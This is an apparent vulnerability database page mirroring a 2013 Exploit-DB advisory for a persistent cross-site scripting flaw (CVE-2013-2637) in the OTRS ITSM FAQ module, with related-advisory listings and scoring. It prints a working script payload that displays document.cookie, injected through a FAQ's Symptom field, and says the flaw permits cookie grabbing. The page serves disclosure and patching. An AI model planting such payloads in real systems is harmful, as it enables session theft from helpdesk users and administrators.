Lucene search
K

OTRS 3.x - FAQ Module Persistent Cross-Site Scripting

🗓️ 08 Apr 2013 00:00:00Reported by Luigi VezzosoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

OTRS FAQ Module Persistent Cross-Site Scripting vulnerability in OTRS ITSM 3.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OTRS FAQ Module - Persistent XSS
8 Apr 201300:00
zdt
FreeBSD
otrs -- XSS vulnerability
2 Apr 201300:00
freebsd
Circl
CVE-2013-2637
8 Apr 201300:00
circl
CVE
CVE-2013-2637
12 Feb 202016:07
cve
Cvelist
CVE-2013-2637
12 Feb 202016:07
cvelist
EUVD
EUVD-2013-2576
7 Oct 202500:30
euvd
exploitpack
OTRS 3.x - FAQ Module Persistent Cross-Site Scripting
8 Apr 201300:00
exploitpack
Tenable Nessus
FreeBSD : otrs -- XSS vulnerability (661bd031-c37d-11e2-addb-60a44c524f57)
24 May 201300:00
nessus
Tenable Nessus
openSUSE Security Update : otrs (openSUSE-SU-2013:1338-1)
13 Jun 201400:00
nessus
NVD
CVE-2013-2637
12 Feb 202017:15
nvd
Rows per page
# Exploit Title: [OTRS Faq Module - Persistent  XSS]

# Date: [2-Apr-2013]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.otrs.com]
# Version: [OTRS ITSM 3.2.x,OTRS ITSM 3.1.x,OTRS ITSM 3.0.x]
# Tested on: [Perl]
# CVE : [CVE-2013-2637]

#OVERVIEW
The OTRS ITSM FAQ Module 3.2.x and below is vulnerable to a persistant XSS that permit some client side attack like cookies grabbing.

#INTRODUCTION
OTRS (http://www.otrs.com) is a flexible Help Desk and IT-Service Management Software distribuited as opensource project (AGPL License) and also as-a-service. WIth a 1,650,000 downloads and 110,000 installation is one of the most used ticketing and service management software in the world.

#VULNERABILITY DESCRIPTION
The FAQ Module permit to share FAQ documents to Admins (called Agents in OTRS), Customers and everyone. The documents are presented like a wiki. Each user with the permission of add a FAQ can create a custom FAQ with the exploit. Each user that can view that FAQ (also the admin) can trigger the XSS. 

The user can add JavaScript in the "Syntoms" of FAQ like the simplest:	<script>alert("H4cked!!  "+document.cookie);</script>


--------------------------------------------------------------------------------
 <li class="Customer Visible">
                <div class="MessageHeader">
                    <h3>Symptom:</h3>
                    <div class="Clear"></div>
                </div>
                <div class="ArticleFAQContent">
                    <div class="message">
                        <script>alert("H4cked!!  "+document.cookie);</script>
                    </div>
                </div>
            </li>
--------------------------------------------------------------------------------

#VERSIONS AFFECTED
OTRS ITSM 3.2.x, OTRS ITSM 3.1.x, OTRS ITSM 3.0.x, FAQ 2.1.x, FAQ 2.0.x

#SOLUTION
Referer to vendor security advisor @ http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2013-02/

#CREDITS
Luigi Vezzoso 
email:	[email protected]
skype:	luigivezzoso

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2013 00:00Current
7High risk
Vulners AI Score7
CVSS 24.3
CVSS 3.16.1
EPSS0.01433
48